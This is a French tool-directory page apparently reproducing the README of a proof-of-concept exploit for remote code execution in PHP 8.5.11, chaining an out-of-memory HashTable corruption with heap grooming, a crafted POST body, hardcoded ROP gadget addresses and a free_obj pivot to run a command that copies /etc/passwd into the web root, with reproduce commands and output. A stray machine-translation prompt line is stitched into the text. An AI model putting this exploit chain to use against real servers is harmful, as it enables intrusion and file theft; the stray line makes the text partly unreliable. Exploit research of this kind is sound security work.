Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
actual-php2shell — 🤖 Non, il existe un moyen simple d'exploiter cette vulnérabilité ! (vibecodé pour prouver un point) | Kitploit
Outils/GitHubGitHub/cookiengineer/actual-php2shell
Sécurité des ConteneursCriminalistique MémoireAnalyse des VulnérabilitésExploitationRétro-ingénierieShellcodeArticles et RechercheExploitation de Binaires
GitHubcookiengineer/actual-php2shell

actual-php2shell

🤖 Non, il existe un moyen simple d'exploiter cette vulnérabilité ! (vibecodé pour prouver un point)

Voir le dépôt
17610il y a 21h 56mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

actual-php2shell

Une PoC reproductible et indépendante de l'application pour l'exécution de code à distance contre PHP 8.5.11 (les avis d'octobre 2026). Elle transforme les deux avis de 2026 sur la corruption de mémoire de PHP en system("cat /etc/passwd") sans aucun code applicatif — le index.php de la victime se contente d'afficher ok.

  • CVE-2026-109618 — un OOM longjmp abandonne une HashTable à moitié construite, laissant un bucket pendant que l'arrêt la détruit. C'est la primitive RCE.
  • CVE-2026-109619 — l'état d'erreur propre à la requête (la trace de l'erreur fatale) survit à l'arrêt de la requête et est libéré à nouveau par la requête suivante. C'est la primitive de fuite d'informations / contournement de l'ASLR (une démo distincte ici).

Tout est entièrement reproductible dans des conteneurs Podman. Le résultat de bout en bout confirmé est ./exploits/cve-2026-109618-oom/rce.py lisant /etc/passwd.


1. La vulnérabilité (CVE-2026-109618)

Lorsque PHP manque de mémoire, il appelle zend_mm_safe_error() → zend_error_noreturn() → zend_bailout() (longjmp). Dans la version 8.5.11, l'insertion dans la table de hachage n'est pas soumise à l'échec d'allocation, de sorte qu'un OOM peut se dérouler avec une HashTable à moitié modifiée.

Le site de corruption est add_to_hash de _zend_hash_str_add_or_update_i() (Zend/zend_hash.c:960) :

add_to_hash:
    idx = ht->nNumUsed++;                       /* (1) bumped first      */
    ht->nNumOfElements++;                       /* (2) bumped            */
    p = ht->arData + idx;
    p->key = key = zend_string_init(str, len);  /* (3) OOM -> zend_bailout */

Si la copie de clé zend_string_init provoque une OOM, le bucket p reste non écrit (key/h/val tous obsolètes) mais nNumUsed est déjà incrémenté. À l'arrêt de la requête, zend_array_destroy() parcourt nNumUsed buckets et appelle i_zval_ptr_dtor(&p->val) sur le val résiduel du bucket non écrit — une valeur façonnée par l'attaquant. Le correctif 8.5.12 remplace chacune de ces allocations par des variantes faillibles (femalloc/fperealloc2 + HASH_FALLIBLE) afin que l'insertion retourne proprement au lieu d'échouer brutalement.

2. L'équilibre graphe d'objets / heap-feng-shui

L'exploit consiste entièrement à faire en sorte que un bloc contrôlé de 2560 octets devienne l'arData du HashTable dont le dernier bucket est le bucket OOM. Les valeurs qui devaient être équilibrées, et pourquoi :

Type / variableTailleRôle
En-tête zend_array (HashTable)56 oarData, nNumUsed, nTableSize, pDestructor
Bucket32 oval(16) + h(8) + key(8) ; celui non écrit est notre cible
zval16 ovalue(8) + u1.type_info(4) + u2(4) — nous définissons type_info
zend_stringen-tête 24 o + donnéesla valeur de remplissage ; sa longueur détermine le bac de l'allocateur
zend_object56 oobjet factice : gc(8) handle(4) ce(8) handlers(8) properties(8)
zend_object_handlersoffset/free_obj/dtor_objfree_obj est le gadget pivot
zend_mm_heap / zend_mm_chunk—free_slot[], free_tail, map[] (bac 28 = 2560 o)

Les deux faits de l'allocateur sur lesquels repose tout le feng-shui :

  1. L'arData d'une table de 64 buckets fait exactement 2560 octets = bac 28 (HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560), car HT_SIZE_TO_MASK(n) = -(2n).
  2. b150 (parcouru) et b0e0 (rejeté) sont deux copies de $_POST["a"] créées par le chemin SEPARATE_ARRAY/indirect de la symtable ; chaque champ a[<large>][c]=v insère la clé <large> dans les deux, et b0e0 a toujours 1 clé d'avance. Seul b150 est détruit par php_request_shutdown, donc l'OOM doit se produire sur b150.

3. La chaîne complète (voir rce.py)

Le corps de la requête est un POST urlencodé :

memshift=<40 KB of M>&
a[X…0000000000000000][c]=v&  … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v&  … (fields 30..59)
  1. memshift (~40 Ko) consomme juste assez de mémoire pour que l'OOM se déclenche lors du premier insert du champ OOM, c'est-à-dire dans b150 (la table parcourue), et non dans le b0e0 écarté.
  2. pad=<2528 B> : add_post_var effectue estrndup(A) puis ZVAL_STRINGL_FAST(B, copy). Mesure : B = padlen + 32, donc padlen=2528 donne A = 2529 et B = 2560 — tous deux dans le bin 28. A est libéré par le chemin estrndup.
  3. pad=x (clé dupliquée) déclenche le DTOR de la copie retenue B, libérant un second emplacement distinct du bin 28. Désormais, le redimensionnement 32→64 de b150 réutilise B — nos octets contrôlés deviennent l'arData de b150.
  4. Les octets de remplissage placent la charge utile dans la queue contrôlée de l'arData (buckets 46–63, offset brut ≥ 1984) — non à l'offset 0x100, qui est le tableau de hachage réécrit par zend_hash_rehash.
  5. Le bucket non écrit (offset brut 1952 = offset de remplissage 1928) est défini sur IS_OBJECT avec value.obj = &fake_object.
  6. L'arrêt le parcourt : i_zval_ptr_dtor → rc_dtor_func → zend_objects_store_del → handlers->free_obj = pivot → ROP → system("cat /etc/passwd > /var/www/html/leak.txt") ; un GET /leak.txt ultérieur renvoie le fichier.

Deux exigences subtiles qui ont coûté un vrai temps de débogage (toutes deux dans rce.py) :

  • L'objet factice/la ROP doit se trouver dans la queue de l'arData ; l'offset de remplissage 0x100 est le tableau de hachage et se fait écraser.
  • __libc_system utilise movaps (aligné sur 16 octets), donc un gadget ret supplémentaire est inséré entre pop rdi; ret et system — sinon, cela provoque un SIGSEGV à l'intérieur de __libc_system avant execve.

4. Adresses ciblées (ASLR désactivé, setarch -R)

Mesurées sur php-rce-oom-debug:8.5.11 (base php-rce-base:8.5.11). Les bases libphp/libc sont identiques entre les builds de base ; l'offset du tas B varie avec les bibliothèques installées (l'installation de gdb l'a déplacé), donc remesurez B pour une autre image, ou résolvez-le via la fuite d'informations pour l'ASLR activé.

SymboleAdresse
base libphp0x7ffff4400000
base libc0x7ffff7cd4000
system0x7ffff7d20490 (libc+0x4c490)
pop rdi; ret0x7ffff7cfb7e5 (libc+0x277e5)
ret0x7ffff7cfb7e6
pivot (jump_fcontext+0x2e)0x7ffff49fb8ae
chunk principal ([anon:zend_alloc])0x7ffff7200000
B (bloc brut arData = b150->arData - 512)0x7ffff725e400
handlers facticesB + 24 + 2000 = 0x7ffff725ebe8
objet facticeB + 24 + 2048 = 0x7ffff725ec18
chaîne cmdB + 24 + 2200 = 0x7ffff725ecb0

La chaîne ROP (relative à l'objet factice, o) :

o+0x40  pop rdi; ret     (r8 loaded by the pivot)
o+0x48  &cmd             (rdi)
o+0x50  ret              (stack alignment for movaps)
o+0x58  system

5. Reproduce

Nécessite Podman. Depuis la racine du dépôt :

# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build

# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up

# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084

Veuillez fournir le contenu du chunk 9/15 à traduire. Aucun texte source n'a été inclus dans votre message.

[+] RCE: read /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

Autres démos

# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf
Télécharger l’outil